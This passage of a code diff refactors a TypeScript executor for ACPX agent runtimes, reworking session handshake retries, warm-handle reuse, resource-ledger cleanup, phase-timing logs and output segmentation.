-            processGroupId: null,
-            startedAt: meta.startedAt,
-          });
-        },
-        getRuntimeParentContext,
-      };
-      // Open Q2: split the ~7s `acp.handshake` into the two in-repo-observable
-      // sub-phases — the ACP runtime construction (`createRuntime`) vs the session
-      // establishment envelope (`ensureSession`). The patched spawn lifecycle
-      // hook records process identity, but the finer spawn/`initialize`/
-      // `session/new` timing split still lives inside external `acpx`.
-      // `createRuntime` runs once and only on a cold start; a warm-handle hit
-      // reuses `cached.runtime`, so `createRuntimeMs` stays undefined and the
-      // split reports nothing for it.
-      let createRuntimeMs: number | undefined;
-      let runtime: AcpRuntime;
-      // A warm handle reuses the running ACP runtime; a miss constructs one. The
-      // root span records this as `cold_start`.
-      coldStart = !cached?.runtime;
-      if (cached?.runtime) {
-        runtime = cached.runtime;
-      } else {
-        const createRuntimeStart = now();
-        runtime = createRuntime(runtimeOptions);
-        createRuntimeMs = now() - createRuntimeStart;
-      }
-      if (cached) clearWarmHandleTimer(cached);
-      if (!canResume && asString(previousParams.runtimeSessionName, "")) {
+        buildRuntimeSettled = true;
+        // Capture the run's staging lease release now that the runtime built. The
+        // run root `finally` releases it as the final settlement act.
+        releaseStagingLease = prepared.sessionStagingLeaseRelease;
+        // Per-project staging outcomes for the referenced (mentioned) projects, surfaced back to the
+        // server on the run result. A referenced project that failed to stage into the sandbox is a
+        // first-class, counted failure in the requested-vs-synced observability, not only a warning. The
+        // list is empty on a local target, on a transport that does not stage referenced projects, or
+        // when every staged referenced project succeeded, so the spread adds the field only when there
+        // is a failure to report.
+        const referencedProjectStagingFailures = (
+          prepared.stagedRuntime?.additionalSourceFailures ?? []
+        ).map((failure) => ({ projectId: failure.projectId, error: failure.error }));
+        referencedProjectStagingFailuresField =
+          referencedProjectStagingFailures.length > 0 ? { referencedProjectStagingFailures } : {};
+        // Write one run-log line per failure, so a reader of the run log alone sees
+        // each dropped referenced project and its reason. The run continues without
+        // the failed project (per-project failure isolation). Goes to stderr: the
+        // acpx stdout log stream carries machine-parseable JSON event payloads.
+        for (const failure of referencedProjectStagingFailures) {
+          await ctx.onLog(
+            "stderr",
+            `[paperclip] Referenced project ${failure.projectId} failed to stage; the run continues without it: ${failure.error}\n`,
+          );
+        }
+        // State the effective wall-clock timeout and its source up front so a
+        // later timeout is diagnosable from the run log alone. Goes to stderr:
+        // the acpx stdout log stream carries JSON acpx.* event payloads and must
+        // stay machine-parseable line by line.
         await ctx.onLog(
-          "stdout",
-          `[paperclip] ACPX session "${asString(previousParams.runtimeSessionName, "")}" does not match the current agent/cwd/mode/runtime identity; starting fresh in "${prepared.cwd}".\n`,
+          "stderr",
+          `[paperclip] ${formatAdapterExecutionTimeoutStartLogLine(prepared.timeoutResolution)}\n`,
         );
-      }
+        await hostStore.evictIdle(now());
 
-      let handle = cached?.handle ?? null;
-      let resumedSession = Boolean(handle ?? resumeSessionId);
-      let clearSession = false;
-
-      try {
-        if (!handle) {
-          try {
-            // Step 7 — acp.handshake: ACP session establishment (session/new or
-            // resume). A throwing handshake still reports its duration before the
-            // resume-retry path below runs. The createRuntime/ensureSession
-            // sub-split rides the step span as fixed, closed keys (Open Q2).
-            let ensureSessionMs: number | undefined;
-            handle = await measureStartupStep(ctx, now, "acp.handshake", async () => {
-              const ensureSessionStart = now();
-              const established = await runtime.ensureSession({
-                sessionKey: prepared.sessionKey,
-                agent: prepared.acpxAgent,
-                mode: prepared.mode,
-                cwd: prepared.cwd,
-                resumeSessionId,
-                sessionOptions: { env: prepared.env },
-              });
-              ensureSessionMs = now() - ensureSessionStart;
-              return established;
-            }, {
-              ...prepared.stepMetrics,
-              // The two sub-times ride the span as fixed, closed keys.
-              spanWallTimes: () => ({
-                createRuntime: createRuntimeMs,
-                ensureSession: ensureSessionMs,
-              }),
+        const previousParams = parseObject(ctx.runtime.sessionParams);
+        const canResume = isCompatibleSession(previousParams, prepared);
+        const resumeSessionId = canResume ? asString(previousParams.acpSessionId, "") || undefined : undefined;
+        // Borrow the warm entry without removing it, so an overlapping run of the
+        // same session still sees it. The borrow clears the entry's idle timer, so
+        // the reused runtime cannot expire under its own timer while this run uses
+        // it (today's `clearWarmHandleTimer(cached)` after the reuse decision).
+        const cached = canResume ? hostStore.borrow(prepared.sessionKey) : undefined;
+        childStderrState = cached?.childStderrState ?? { logPath: null, pendingLiveLine: "" };
+        processIdentitySink = cached?.processIdentitySink ?? {
+          current: ctx.onSpawn,
+          latest: null,
+        };
+        // ACPX runtimes can stay warm across heartbeat runs. Keep the callback
+        // target mutable so a later agent respawn records identity on the current
+        // heartbeat instead of the run that originally created the runtime.
+        processIdentitySink.current = ctx.onSpawn;
+        flushChildStderr(childStderrState);
+        childStderrState.logPath = prepared.childStderrLogPath;
+        const runtimeOptions: PaperclipAcpRuntimeOptions = {
+          cwd: prepared.cwd,
+          // Host-only spawn cwd for the relay proxy on the remote process-session
+          // lane; `undefined` elsewhere so acpx falls back to `cwd` (byte-identical).
+          // The advertised `session/new` cwd (`prepared.cwd` = `remoteCwd`) and the
+          // fingerprint / compat key are unaffected — this redirects ONLY the host
+          // `spawn()` `chdir`, not the in-sandbox data path.
+          spawnCwd: prepared.hostSpawnCwd,
+          sessionStore: createRuntimeStore({ stateDir: prepared.stateDir }),
+          agentRegistry: prepared.agentRegistry,
+          permissionMode: prepared.permissionMode,
+          nonInteractivePermissions: prepared.nonInteractivePermissions,
+          mcpServers: prepared.mcpServers,
+          timeoutMs: prepared.timeoutSec > 0 ? prepared.timeoutSec * 1000 : undefined,
+          // Scope ACPX runtime verbose logs to the claude agent only. Codex
+          // and custom agents already emit their own per-tool output and don't
+          // benefit from doubling the log volume.
+          verbose: prepared.acpxAgent === "claude",
+          onAgentStderr: prepared.childStderrLogPath
+            ? (chunk) => routeChildStderr(childStderrState, chunk)
+            : undefined,
+          onAgentSpawn: async (meta) => {
+            processIdentitySink.latest = meta;
+            await processIdentitySink.current?.({
+              pid: meta.pid,
+              processGroupId: null,
+              startedAt: meta.startedAt,
             });
-          } catch (err) {
-            if (!resumeSessionId || !isResumeFailure(err)) throw err;
-            clearSession = true;
-            resumedSession = false;
-            await ctx.onLog(
-              "stdout",
-              `[paperclip] ACPX resume session "${resumeSessionId}" is unavailable; retrying with a fresh session.\n`,
-            );
-            // Fresh-session retry: the runtime was already constructed on the
-            // first attempt (never re-created), so this event reports only its
-            // own `ensureSessionMs` — no `createRuntimeMs`.
-            let retryEnsureSessionMs: number | undefined;
-            handle = await measureStartupStep(ctx, now, "acp.handshake", async () => {
-              const ensureSessionStart = now();
-              const established = await runtime.ensureSession({
-                sessionKey: prepared.sessionKey,
-                agent: prepared.acpxAgent,
-                mode: prepared.mode,
-                cwd: prepared.cwd,
-                sessionOptions: { env: prepared.env },
+          },
+          getRuntimeParentContext,
+        };
+        // Open Q2: split the ~7s `acp.handshake` into the two in-repo-observable
+        // sub-phases — the ACP runtime construction (`createRuntime`) vs the session
+        // establishment envelope (`ensureSession`). The patched spawn lifecycle
+        // hook records process identity, but the finer spawn/`initialize`/
+        // `session/new` timing split still lives inside external `acpx`.
+        // `createRuntime` runs once and only on a cold start; a warm-handle hit
+        // reuses `cached.runtime`, so `createRuntimeMs` stays undefined and the
+        // split reports nothing for it.
+        let createRuntimeMs: number | undefined;
+        // A warm handle reuses the running ACP runtime; a miss constructs one. The
+        // root span records this as `cold_start`.
+        coldStart = !cached?.runtime;
+        if (cached?.runtime) {
+          runtime = cached.runtime;
+        } else {
+          const createRuntimeStart = now();
+          runtime = createRuntime(runtimeOptions);
+          createRuntimeMs = now() - createRuntimeStart;
+          // The create_runtime phase runs only on a cold start.
+          await emitRunPhaseTiming(ctx, "create_runtime", createRuntimeMs, "ok");
+        }
+        // Register the runtime composite in the ledger now that it exists. The
+        // settlement `endSession` step closes it on every path the reuse decision
+        // does not transfer. Registration here (before `ensureSession`) closes the
+        // cold-handshake leak: a cold `ensureSession` throw before a handle exists
+        // still leaves the runtime in the ledger for `endSession` to close. A
+        // create-runtime failure throws before this line, so the runtime never
+        // enters the ledger and the settlement no-ops on the empty slot. The
+        // session handle fills in below; the payload carries the best-known handle
+        // for the composite (`runtime.close` is the one release boundary).
+        runResourceLedger.register({
+          id: "acp_runtime",
+          payload: {
+            runtime,
+            sessionHandle: cached?.handle ?? syntheticCloseHandle(),
+            childProcessPid: processIdentitySink.latest?.pid ?? null,
+          },
+          scope: "per_run",
+        });
+        if (!canResume && asString(previousParams.runtimeSessionName, "")) {
+          await ctx.onLog(
+            "stdout",
+            `[paperclip] ACPX session "${asString(previousParams.runtimeSessionName, "")}" does not match the current agent/cwd/mode/runtime identity; starting fresh in "${prepared.cwd}".\n`,
+          );
+        }
+
+        let handle = cached?.handle ?? null;
+        // The ensure_session phase covers the handshake (session establishment or
+        // resume) up to the established handle.
+        const ensureSessionPhaseStart = now();
+        resumedSession = Boolean(handle ?? resumeSessionId);
+
+        try {
+          if (!handle) {
+            try {
+              // Step 7 — acp.handshake: ACP session establishment (session/new or
+              // resume). A throwing handshake still reports its duration before the
+              // resume-retry path below runs. The createRuntime/ensureSession
+              // sub-split rides the step span as fixed, closed keys (Open Q2).
+              let ensureSessionMs: number | undefined;
+              handle = await measureStartupStep(ctx, now, "acp.handshake", async () => {
+                const ensureSessionStart = now();
+                const established = await runtime.ensureSession({
+                  sessionKey: prepared.sessionKey,
+                  agent: prepared.acpxAgent,
+                  mode: prepared.mode,
+                  cwd: prepared.cwd,
+                  resumeSessionId,
+                  sessionOptions: { env: prepared.env },
+                });
+                ensureSessionMs = now() - ensureSessionStart;
+                return established;
+              }, {
+                ...prepared.stepMetrics,
+                // The two sub-times ride the span as fixed, closed keys.
+                spanWallTimes: () => ({
+                  createRuntime: createRuntimeMs,
+                  ensureSession: ensureSessionMs,
+                }),
               });
-              retryEnsureSessionMs = now() - ensureSessionStart;
-              return established;
-            }, {
-              ...prepared.stepMetrics,
-              // The retry reuses the runtime from the first attempt, so it reports
-              // only its own ensure-session sub-time on the span.
-              spanWallTimes: () => ({ ensureSession: retryEnsureSessionMs }),
+            } catch (err) {
+              if (!resumeSessionId || !isResumeFailure(err)) throw err;
+              clearSession = true;
+              resumedSession = false;
+              await ctx.onLog(
+                "stdout",
+                `[paperclip] ACPX resume session "${resumeSessionId}" is unavailable; retrying with a fresh session.\n`,
+              );
+              // Fresh-session retry: the runtime was already constructed on the
+              // first attempt (never re-created), so this event reports only its
+              // own `ensureSessionMs` — no `createRuntimeMs`.
+              let retryEnsureSessionMs: number | undefined;
+              handle = await measureStartupStep(ctx, now, "acp.handshake", async () => {
+                const ensureSessionStart = now();
+                const established = await runtime.ensureSession({
+                  sessionKey: prepared.sessionKey,
+                  agent: prepared.acpxAgent,
+                  mode: prepared.mode,
+                  cwd: prepared.cwd,
+                  sessionOptions: { env: prepared.env },
+                });
+                retryEnsureSessionMs = now() - ensureSessionStart;
+                return established;
+              }, {
+                ...prepared.stepMetrics,
+                // The retry reuses the runtime from the first attempt, so it reports
+                // only its own ensure-session sub-time on the span.
+                spanWallTimes: () => ({ ensureSession: retryEnsureSessionMs }),
+              });
+            }
+          } else {
+            // Warm-handle hit: a compatible cached handle reuses the running ACP
+            // agent, so the `acp.handshake` step does no work. Emit a step span and
+            // event with `outcome = skipped` and a zero wall time, so the trace and
+            // the run log show the skip as a distinct outcome, never a misleading
+            // zero-work `ok` step.
+            await emitSkippedStartupStep(ctx, "acp.handshake", {
+              tracer: prepared.stepMetrics.tracer,
+              parentContext: prepared.stepMetrics.parentContext,
             });
           }
-        } else {
-          // Warm-handle hit: a compatible cached handle reuses the running ACP
-          // agent, so the `acp.handshake` step does no work. Emit a step span and
-          // event with `outcome = skipped` and a zero wall time, so the trace and
-          // the run log show the skip as a distinct outcome, never a misleading
-          // zero-work `ok` step.
-          await emitSkippedStartupStep(ctx, "acp.handshake", {
-            tracer: prepared.stepMetrics.tracer,
-            parentContext: prepared.stepMetrics.parentContext,
+          // A compatible warm handle reuses the already-running ACP agent and does
+          // not emit another spawn event. Persist its known identity on this run
+          // before the next prompt starts so every running heartbeat is adoptable.
+          if (handle && cached && processIdentitySink.latest && ctx.onSpawn) {
+            await ctx.onSpawn({
+              pid: processIdentitySink.latest.pid,
+              processGroupId: null,
+              startedAt: processIdentitySink.latest.startedAt,
+            });
+          }
+        } catch (err) {
+          // Record how the settlement closes the runtime on a pre-turn handshake
+          // failure: a direct close that drops a matching warm entry, the same as
+          // the configuration-failure path. A warm-hit reuse already cleared the
+          // idle timer before the handshake ran, so the failure must close and
+          // remove the entry, never re-arm it. A cold `ensureSession` throw has no
+          // established handle, so the settlement closes the synthetic handle — the
+          // ledger now holds the runtime, so `endSession` closes it and the former
+          // cold-handshake leak is gone. The settlement stops the bridges, releases
+          // the staging lease, and flushes the child stderr on every exit path.
+          runtimeSettlement = {
+            mode: "direct",
+            handle: handle ?? syntheticCloseHandle(),
+            reason: "paperclip handshake cleanup",
+            discardPersistentState: false,
+            dropWarmEntry: true,
+            recordCloseError: true,
+            cancelTurnReason: null,
+          };
+          await emitPhase("ensure_session", ensureSessionPhaseStart, "failed");
+          const { classified, message } = await emitAcpxFailure({
+            ctx,
+            prepared,
+            err,
+            phase: "ensure_session",
           });
+          capturedResult = {
+            exitCode: 1,
+            signal: null,
+            timedOut: false,
+            errorMessage: message,
+            ...classified,
+            ...billingFields,
+            ...referencedProjectStagingFailuresField,
+            model: prepared.requestedModel || null,
+            clearSession,
+            resultJson: { phase: "ensure_session" },
+            summary: message,
+          };
+          return settleFor("handshake", err);
         }
-        // A compatible warm handle reuses the already-running ACP agent and does
-        // not emit another spawn event. Persist its known identity on this run
-        // before the next prompt starts so every running heartbeat is adoptable.
-        if (handle && cached && processIdentitySink.latest && ctx.onSpawn) {
-          await ctx.onSpawn({
-            pid: processIdentitySink.latest.pid,
-            processGroupId: null,
-            startedAt: processIdentitySink.latest.startedAt,
-          });
+
+        if (!handle) {
+          // ensureSession returned no session handle. The ledger holds the runtime
+          // the run constructed, so record a direct close of the synthetic handle
+          // for the settlement `endSession` step (the child process cannot leak).
+          runtimeSettlement = {
+            mode: "direct",
+            handle: syntheticCloseHandle(),
+            reason: "paperclip missing-handle cleanup",
+            discardPersistentState: false,
+            dropWarmEntry: false,
+            recordCloseError: true,
+            cancelTurnReason: null,
+          };
+          await emitPhase("ensure_session", ensureSessionPhaseStart, "failed");
+          capturedResult = {
+            exitCode: 1,
+            signal: null,
+            timedOut: false,
+            errorMessage: "ACPX did not return a runtime session handle.",
+            errorCode: "acpx_runtime_error",
+            ...billingFields,
+            ...referencedProjectStagingFailuresField,
+            model: prepared.requestedModel || null,
+            resultJson: { phase: "ensure_session" },
+            summary: "ACPX did not return a runtime session handle.",
+          };
+          return settleFor(
+            "session_handle_missing",
+            new Error("ACPX did not return a runtime session handle."),
+          );
         }
+        sessionHandle = handle;
+        startupFailed = false;
+        await emitPhase("ensure_session", ensureSessionPhaseStart, "ok");
       } catch (err) {
-        // Bring-up failed at the handshake — close the root span with error status.
-        rootSpan.end(true);
+        if (!buildRuntimeSettled) {
+          // buildRuntime failed before it staged or bridged anything, so there is
+          // nothing to settle here. The finally below ends the sandbox.startup
+          // span; let the failure propagate.
+          throw err;
+        }
+        // The post-build runtime-creation window failed after buildRuntime returned
+        // live bridges and a held staging lease. `createRuntime` throws before the
+        // ledger registers the runtime, so the settlement `endSession` step no-ops
+        // on the empty slot (create_runtime never closes a runtime). The settlement
+        // still stops the bridges, discards the staged runtime, releases the staging
+        // lease, and flushes the child stderr.
         const { classified, message } = await emitAcpxFailure({
           ctx,
           prepared,
           err,
-          phase: "ensure_session",
+          phase: "create_runtime",
         });
-        await discardStagedRuntime({ handles: stagedRuntimes, prepared });
-        await cleanupRemoteBridges(prepared);
-        return {
+        capturedResult = {
           exitCode: 1,
           signal: null,
           timedOut: false,
@@ -3443,34 +3791,17 @@ export function createAcpxEngineExecutor(deps: AcpxEngineExecutorOptions = {}) {
           ...referencedProjectStagingFailuresField,
           model: prepared.requestedModel || null,
           clearSession,
-          resultJson: { phase: "ensure_session" },
+          resultJson: { phase: "create_runtime" },
           summary: message,
         };
+        return settleFor("runtime_create", err);
+      } finally {
+        // End the sandbox.startup span exactly once, on every return and on every
+        // throw. It covers buildRuntime through acp.handshake and no further; the
+        // agent turn runs after and is out of the span's scope.
+        rootSpan.end(startupFailed);
       }
-
-      if (!handle) {
-        // Bring-up produced no session handle — close the root span with error status.
-        rootSpan.end(true);
-        await discardStagedRuntime({ handles: stagedRuntimes, prepared });
-        await cleanupRemoteBridges(prepared);
-        return {
-          exitCode: 1,
-          signal: null,
-          timedOut: false,
-          errorMessage: "ACPX did not return a runtime session handle.",
-          errorCode: "acpx_runtime_error",
-          ...billingFields,
-          ...referencedProjectStagingFailuresField,
-          model: prepared.requestedModel || null,
-          resultJson: { phase: "ensure_session" },
-          summary: "ACPX did not return a runtime session handle.",
-        };
-      }
-      // Bring-up is complete: the session handle is established. Close the root
-      // span here, so it covers `buildRuntime` through `acp.handshake` and no
-      // further. The agent turn runs after and is out of the startup root's scope.
-      rootSpan.end(false);
-      const sessionHandle = handle;
+      const configureSessionStart = now();
       try {
         await applySessionConfigOptions({
           runtime,
@@ -3478,26 +3809,29 @@ export function createAcpxEngineExecutor(deps: AcpxEngineExecutorOptions = {}) {
           prepared,
           onLog: ctx.onLog,
         });
+        await emitPhase("configure_session", configureSessionStart, "ok");
       } catch (err) {
+        // Record a direct close that drops the matching warm entry for the
+        // settlement `endSession` step. The settlement stops the bridges, discards
+        // the staged runtime, releases the staging lease, and flushes the child
+        // stderr on this exit path too.
+        runtimeSettlement = {
+          mode: "direct",
+          handle: sessionHandle,
+          reason: "paperclip config cleanup",
+          discardPersistentState: false,
+          dropWarmEntry: true,
+          recordCloseError: true,
+          cancelTurnReason: null,
+        };
+        await emitPhase("configure_session", configureSessionStart, "failed");
         const { classified, message } = await emitAcpxFailure({
           ctx,
           prepared,
           err,
           phase: "configure_session",
         });
-        await runtime.close({
-          handle: sessionHandle,
-          reason: "paperclip config cleanup",
-          discardPersistentState: false,
-        }).catch(() => {});
-        const existing = warmHandles.get(prepared.sessionKey);
-        if (warmHandleMatches(existing, runtime, sessionHandle) && existing) {
-          clearWarmHandleTimer(existing);
-          warmHandles.delete(prepared.sessionKey);
-        }
-        await discardStagedRuntime({ handles: stagedRuntimes, prepared });
-        await cleanupRemoteBridges(prepared);
-        return {
+        capturedResult = {
           exitCode: 1,
           signal: null,
           timedOut: false,
@@ -3516,60 +3850,46 @@ export function createAcpxEngineExecutor(deps: AcpxEngineExecutorOptions = {}) {
           },
           summary: message,
         };
+        return settleFor("session_configuration", err);
       }
-      const { prompt, promptMetrics, commandNotes } = await buildPrompt(ctx, resumedSession, prepared.env);
-      const runPrompt = joinPromptSections([prepared.skillPromptInstructions, prompt]);
-      await emitAcpxLog(ctx, {
-        type: "acpx.session",
-        agent: prepared.acpxAgent,
-        sessionId: sessionHandle.backendSessionId,
-        acpSessionId: sessionHandle.backendSessionId,
-        agentSessionId: sessionHandle.agentSessionId,
-        runtimeSessionName: sessionHandle.runtimeSessionName,
-        mode: prepared.mode,
-        permissionMode: prepared.permissionMode,
-        model: prepared.requestedModel || null,
-        thinkingEffort: prepared.requestedThinkingEffort || null,
-        fastMode: prepared.fastMode,
-      });
-      if (ctx.onMeta) {
-        await ctx.onMeta({
-          adapterType: engine.adapterType,
-          command: prepared.agentCommand ?? prepared.acpxAgent,
-          cwd: prepared.cwd,
-          commandNotes: [
-            `ACPX runtime embedded in Paperclip with ${prepared.mode} session mode.`,
-            `Effective ACPX permission mode: ${prepared.permissionMode}.`,
-            ...(prepared.requestedModel
-              ? [
-                  prepared.acpxAgent === "claude"
-                    ? `Requested ACPX model: ${prepared.requestedModel} (set via ANTHROPIC_MODEL env at startup).`
-                    : prepared.acpxAgent === "codex"
-                      ? `Requested ACPX model: ${prepared.requestedModel} (set via CODEX_CONFIG at startup).`
-                    : `Requested ACPX model: ${prepared.requestedModel}.`,
-                ]
-              : []),
-            ...(prepared.requestedThinkingEffort ? [`Requested ACPX thinking effort: ${prepared.requestedThinkingEffort}.`] : []),
-            ...(prepared.fastMode ? ["Requested ACPX Codex fast mode."] : []),
-            ...(Array.isArray(prepared.skillsIdentity.commandNotes)
-              ? prepared.skillsIdentity.commandNotes.filter((note): note is string => typeof note === "string")
-              : []),
-            ...commandNotes,
-          ],
-          env: prepared.loggedEnv,
-          prompt: runPrompt,
-          promptMetrics,
-          context: ctx.context,
-        });
-      }
-
-      let cancelActiveTurn: ((reason: string) => Promise<void>) | null = null;
-      let controller: AbortController | null = null;
-      let timeout: NodeJS.Timeout | null = null;
-      let timedOut = false;
-      const textParts: string[] = [];
+      // Startup succeeded: seal the ledger (promotes the startup_rollback entries
+      // that survived to `per_run`) and hand the ready resources to the turn. The
+      // turn wrapper reads the run state through the shared closure locals in this
+      // phase, so the sealed view and the context are the contract carriers only.
+      return {
+        kind: "ready",
+        resources: runResourceLedger.seal([]),
+        context: { sessionKey: prepared.sessionKey } as unknown as AcpRunContext,
+      };
+      };
+      // The turn step: run the turn sequence and settle the runtime inline
+      // (today's behavior). The sequence owns the wall-clock timer and the abort
+      // controller and never rejects; it returns a `TurnCompletion`. The step
+      // bodies below record the external result for the coordinator to reproduce.
+      const runTurn = async (_ready: StartupReady): Promise<TurnCompletion> => {
+      // Summary accumulation collects output text only (never thought stream),
+      // segmented on tool starts so multi-step narration is not glued into one
+      // automatic comment dump.
+      const outputSegments: string[] = [];
+      let currentOutputChunk: string[] = [];
+      const flushOutputSegment = () => {
+        if (currentOutputChunk.length === 0) return;
+        outputSegments.push(currentOutputChunk.join(""));
+        currentOutputChunk = [];
+      };
       let eventBreakdown: AcpRuntimeUsageBreakdown | null = null;
       let eventCostUsd: number | null = null;
+      // The turn-local state the sequence steps share. `promptBuild` sets the
+      // prompt, `preTurnUsage` sets the pre-turn status, `turnStart` sets the
+      // active turn, and `turnFinalize` reads all three. `activeTurn` is the run-
+      // scoped hoisted local, so the settlement `endSession` step can cancel it.
+      let runPrompt = "";
+      let preTurnStatus: AcpRuntimeStatus | null = null;
+      // Phase-timing markers for the prepare_turn and turn phases. The prepare
+      // phase covers the prompt build and the pre-turn usage snapshot; the turn
+      // phase covers the started turn and the event relay.
+      let preparePhaseStart = now();
+      let turnPhaseStart = now();
       // Open the agent turn span as a child of the run root span. It wraps the
       // whole turn: the executor holds `turnSpan.parentContext` for later exec
       // parenting, and the `finally` below ends the span once on every path. The
@@ -3579,42 +3899,111 @@ export function createAcpxEngineExecutor(deps: AcpxEngineExecutorOptions = {}) {
       // a detached exec during the turn parents to `agent.turn`. The turn
       // `finally` resets the holder to the `task.run` token.
       currentRunParentContext = turnSpan.parentContext;
-      try {
+      const stepPromptBuild = async (_signal: AbortSignal): Promise<void> => {
+        // Build the prompt and emit the run metadata inside the turn failure
+        // boundary. A failure here returns an error result with phase
+        // `prepare_turn`.
+        preparePhaseStart = now();
+        const { prompt, promptMetrics, commandNotes } = await buildPrompt(ctx, resumedSession, prepared.env);
+        runPrompt = joinPromptSections([prepared.skillPromptInstructions, prompt]);
+        await emitAcpxLog(ctx, {
+          type: "acpx.session",
+          agent: prepared.acpxAgent,
+          sessionId: sessionHandle.backendSessionId,
+          acpSessionId: sessionHandle.backendSessionId,
+          agentSessionId: sessionHandle.agentSessionId,
+          runtimeSessionName: sessionHandle.runtimeSessionName,
+          mode: prepared.mode,
+          permissionMode: prepared.permissionMode,
+          model: prepared.requestedModel || null,
+          thinkingEffort: prepared.requestedThinkingEffort || null,
+          fastMode: prepared.fastMode,
+        });
+        if (ctx.onMeta) {
+          await ctx.onMeta({
+            adapterType: engine.adapterType,
+            command: prepared.agentCommand ?? prepared.acpxAgent,
+            cwd: prepared.cwd,
+            commandNotes: [
+              `ACPX runtime embedded in Paperclip with ${prepared.mode} session mode.`,
+              `Effective ACPX permission mode: ${prepared.permissionMode}.`,
+              ...(prepared.requestedModel
+                ? [
+                    prepared.acpxAgent === "claude"
+                      ? `Requested ACPX model: ${prepared.requestedModel} (set via ANTHROPIC_MODEL env at startup).`
+                      : prepared.acpxAgent === "codex"
+                        ? `Requested ACPX model: ${prepared.requestedModel} (set via CODEX_CONFIG at startup).`
+                      : `Requested ACPX model: ${prepared.requestedModel}.`,
+                  ]
+                : []),
+              ...(prepared.requestedThinkingEffort ? [`Requested ACPX thinking effort: ${prepared.requestedThinkingEffort}.`] : []),
+              ...(prepared.fastMode ? ["Requested ACPX Codex fast mode."] : []),
+              ...(Array.isArray(prepared.skillsIdentity.commandNotes)
+                ? prepared.skillsIdentity.commandNotes.filter((note): note is string => typeof note === "string")
+                : []),
+              ...commandNotes,
+            ],
+            env: prepared.loggedEnv,
+            prompt: runPrompt,
+            promptMetrics,
+            context: ctx.context,
+          });
+        }
+      };
+      const stepPreTurnUsage = async (): Promise<void> => {
         // Snapshot pre-turn usage so cumulative agent-reported cost can be
         // attributed to this run alone.
-        const preTurnStatus = await readRuntimeStatus(runtime, sessionHandle);
-        const timeoutMs = prepared.timeoutSec > 0 ? prepared.timeoutSec * 1000 : undefined;
-        controller = new AbortController();
-        if (timeoutMs) {
-          timeout = setTimeout(() => {
-            timedOut = true;
-            controller?.abort();
-            void cancelActiveTurn?.(formatAdapterExecutionTimeoutErrorMessage(prepared.timeoutResolution)).catch(() => {});
-          }, timeoutMs);
-        }
+        preTurnStatus = await readRuntimeStatus(runtime, sessionHandle);
+        // The prepare phase (prompt build + usage snapshot) finished; the turn
+        // phase starts next.
+        await emitPhase("prepare_turn", preparePhaseStart, "ok");
+        turnPhaseStart = now();
+      };
+      const stepTurnStart = (signal: AbortSignal, startTimeoutMs: number | undefined): StartedTurn => {
         const turn = runtime.startTurn({
           handle: sessionHandle,
           text: runPrompt,
           mode: "prompt",
           requestId: ctx.runId,
-          timeoutMs,
-          signal: controller?.signal,
+          timeoutMs: startTimeoutMs,
+          signal,
         });
-        cancelActiveTurn = async (reason: string) => {
-          await turn.cancel({ reason });
+        activeTurn = turn;
+        return {
+          cancel: async (reason: string) => {
+            await turn.cancel({ reason });
+          },
         };
+      };
+      const stepEventRelay = async (): Promise<AcpRuntimeTurnResult> => {
+        const turn = activeTurn as AcpRuntimeTurn;
         const toolTitles = new Map<string, string>();
         for await (const event of turn.events) {
-          if (event.type === "text_delta") textParts.push(event.text);
+          if (event.type === "text_delta" && event.stream !== "thought") {
+            currentOutputChunk.push(event.text);
+          } else if (event.type === "tool_call" && event.tag !== "tool_call_update") {
+            // ACP makes tool-call status optional. The normalized event tag is
+            // the reliable boundary between an initial call and its updates,
+            // so a statusless initial call must still end the preceding output
+            // segment while updates must not create extra boundaries.
+            flushOutputSegment();
+          }
           if (event.type === "status" && event.tag === "usage_update") {
             eventBreakdown = event.breakdown ?? eventBreakdown;
             eventCostUsd = usdCostAmount(event.cost) ?? eventCostUsd;
           }
-          await emitRuntimeEvent(ctx, event, toolTitles);
+          await emitRuntimeEvent(ctx, event, toolTitles, prepared.coalescePlaceholderToolUpdates);
         }
-        const terminal = await turn.result;
-        if (timeout) clearTimeout(timeout);
-        // Read usage before the close/warm-handle paths below can discard state.
+        flushOutputSegment();
+        return await turn.result;
+      };
+      const stepTurnFinalize = async (
+        input: TurnFinalizeInput<AcpRuntimeTurnResult>,
+      ): Promise<TurnCompletion> => {
+        if (input.kind === "terminal") {
+        const terminal = input.terminal;
+        const timedOut = input.timedOut;
+        // Read usage before the settlement can discard runtime state.
         const postTurnStatus = await readRuntimeStatus(runtime, sessionHandle);
         const turnUsage = summarizeAcpxTurnUsage({
           preStatus: preTurnStatus,
@@ -3622,77 +4011,29 @@ export function createAcpxEngineExecutor(deps: AcpxEngineExecutorOptions = {}) {
           eventBreakdown,
           eventCostUsd,
         });
-        if (terminal.status === "failed" || terminal.status === "cancelled" || timedOut) {
-          const existing = warmHandles.get(prepared.sessionKey);
-          if (warmHandleMatches(existing, runtime, sessionHandle) && existing) {
-            await closeWarmHandle({
-              handles: warmHandles,
-              key: prepared.sessionKey,
-              entry: existing,
-              reason: timedOut ? "paperclip timeout cleanup" : `paperclip turn ${terminal.status}`,
-              discardPersistentState: terminal.status === "cancelled" || timedOut,
-            });
-          } else {
-            await runtime.close({
-              handle: sessionHandle,
-              reason: timedOut ? "paperclip timeout cleanup" : `paperclip turn ${terminal.status}`,
-              discardPersistentState: terminal.status === "cancelled" || timedOut,
-            }).catch(() => {});
-          }
-        } else if (prepared.mode === "persistent" && warmIdleMs > 0 && !prepared.processSessionBridge) {
-          const existing = warmHandles.get(prepared.sessionKey);
-          if (existing && !warmHandleMatches(existing, runtime, sessionHandle)) {
-            await runtime.close({
-              handle: sessionHandle,
-              reason: "paperclip duplicate warm handle cleanup",
-              discardPersistentState: false,
-            }).catch(() => {});
-          } else {
-            const entry: RuntimeCacheEntry = {
-              runtime,
-              handle: sessionHandle,
-              childStderrState,
-              processIdentitySink,
-              fingerprint: prepared.fingerprint,
-              lastUsedAt: now(),
-            };
-            warmHandles.set(prepared.sessionKey, entry);
-            scheduleIdleHandleCleanup({
-              handles: warmHandles,
-              key: prepared.sessionKey,
-              entry,
-              idleMs: warmIdleMs,
-              now,
-            });
-          }
-        } else {
-          const existing = warmHandles.get(prepared.sessionKey);
-          if (warmHandleMatches(existing, runtime, sessionHandle) && existing) {
-            await closeWarmHandle({
-              handles: warmHandles,
-              key: prepared.sessionKey,
-              entry: existing,
-              reason: "paperclip completed turn cleanup",
-            });
-          } else {
-            await runtime.close({
-              handle: sessionHandle,
-              reason: "paperclip completed turn cleanup",
-              discardPersistentState: false,
-            }).catch(() => {});
-          }
-        }
-
-        // PR 3: keep the staged runtime warm for the next compatible resume only
